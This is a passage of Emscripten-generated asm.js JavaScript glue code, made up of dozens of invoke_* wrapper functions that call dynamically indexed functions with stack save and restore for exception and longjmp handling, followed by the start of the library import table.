e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vifiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vifijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vifijii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vii(index,a1,a2){var sp=stackSave();try{Module["dynCall_vii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viid(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viid"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viidi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viidii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viif(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viif"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiff(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifff(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viifff"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiffffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{Module["dynCall_viiffffffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viifffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiffffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viifffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiffffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viifffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiffii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiffii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifi(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viifiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viifiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viii(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_viii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiidi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiidi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiif(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiif"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiifffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiffi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiifi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififfi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiififfi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiififi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiififii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiififiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiififiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiifiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiifiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiii(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiif(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiiif"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiffffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiiffffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiifffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiifi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiififii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiififii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiifii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiifiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiifiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiif(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiiif"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiifffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiifffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiffi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiffi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiifi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiifi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiif(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiiif"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiifi(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiifi"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viiiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiifi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiiifi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiifii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiifii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiiiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18){var sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiij(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiij"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiijiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiijiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiijji(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiijji"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viij(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viij"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viijii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijiijiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viijiijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijijii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viijijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijj(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijijj"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijj(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viijj"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viijji"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijjiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijjiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijjji(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijjji"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vij(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vij"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viji(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijiji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vijiji"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijijji(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_vijijji"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vijji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijjii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_vijjii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vjiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vjiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vjji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vjji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}Module.asmGlobalArg={};Module.asmLibraryArg={"abort":abort,"assert":assert,"enlargeMemory":enlargeMemory,"getTotalMemory":getTotalMemory,"abortOnCannotGrowMemory":abortOnCannotGrowMemory,"invoke_dddi":invoke_dddi,"invoke_ddi":invoke_ddi,"invoke_ddidi":invoke_ddidi,"invoke_dfi":invoke_dfi,"invoke_di":invoke_di,"invoke_diddi":invoke_diddi,"invoke_didi":invoke_didi,"invoke_dii":invoke_dii,"invoke_diii":invoke_diii,"invoke_diiii":invoke_diiii,"invoke_dji":invoke_dji,"invoke_f":invoke_f,"invoke_fdi":invoke_fdi,"invoke_ff":invoke_ff,"invoke_fff":invoke_fff,"invoke_ffffffi":invoke_ffffffi,"invoke_ffffi":invoke_ffffi,"invoke_fffi":invoke_fffi,"invoke_fffifffi":invoke_fffifffi,"invoke_ffi":invoke_ffi,"invoke_fi":invoke_fi,"invoke_fidi":invoke_fidi,"invoke_fif":invoke_fif,"invoke_fiff":invoke_fiff,"invoke_fifffi":invoke_fifffi,"invoke_fiffi":invoke_fiffi,"invoke_fifi":invoke_fifi,"invoke_fifii":invoke_fifii,"invoke_fifiii":invoke_fifiii,"invoke_fifiiiii":invoke_fifiiiii,"invoke_fii":invoke_fii,"invoke_fiifi":invoke_fiifi,"invoke_fiifii":invoke_fiifii,"invoke_fiii":invoke_fiii,"invoke_fiiifii":invoke_fiiifii,"invoke_fiiii":invoke_fiiii,"invoke_fiiiif":invoke_fiiiif,"invoke_fiiiii":invoke_fiiiii,"invoke_fiiiiii":invoke_fiiiiii,"invoke_fiiiiiifiifif":invoke_fiiiiiifiifif,"invoke_fiiiiiifiiiif":invoke_fiiiiiifiiiif,"invoke_fji":invoke_fji,"invoke_i":invoke_i,"invoke_idi":invoke_idi,"invoke_idiii":invoke_idiii,"invoke_iffffi":invoke_iffffi,"invoke_ifffi":invoke_ifffi,"invoke_iffi":invoke_iffi,"invoke_ifi":invoke_ifi,"invoke_ifiii":invoke_ifiii,"invoke_ii":invoke_ii,"invoke_iidi":invoke_iidi,"invoke_iidii":invoke_iidii,"invoke_iif":invoke_iif,"invoke_iifff":invoke_iifff,"invoke_iifffi":invoke_iifffi,"invoke_iiffi":invoke_iiffi,"invoke_iifi":invoke_iifi,"invoke_iifii":invoke_iifii,"invoke_iifiifiii":invoke_iifiifiii,"invoke_iifiii":invoke_iifiii,"invoke_iifiiii":invoke_iifiiii,"invoke_iifiiiijii":invoke_iifiiiijii,"invoke_iii":invoke_iii,"invoke_iiiddi":invoke_iiiddi,"invoke_iiidi":invoke_iiidi,"invoke_iiidii":invoke_iiidii,"invoke_iiif":invoke_iiif,"invoke_iiiff":invoke_iiiff,"invoke_iiifi":invoke_iiifi,"invoke_iiifii":invoke_iiifii,"invoke_iiifiifii":invoke_iiifiifii,"invoke_iiifiifiii":invoke_iiifiifiii,"invoke_iiifiii":invoke_iiifiii,"invoke_iiifiiii":invoke_iiifiiii,"invoke_iiii":invoke_iiii,"invoke_iiiifffffi":invoke_iiiifffffi,"invoke_iiiifffffii":invoke_iiiifffffii,"invoke_iiiifffiii":invoke_iiiifffiii,"invoke_iiiiffii":invoke_iiiiffii,"invoke_iiiifi":invoke_iiiifi,"invoke_iiiifii":invoke_iiiifii,"invoke_iiiifiii":invoke_iiiifiii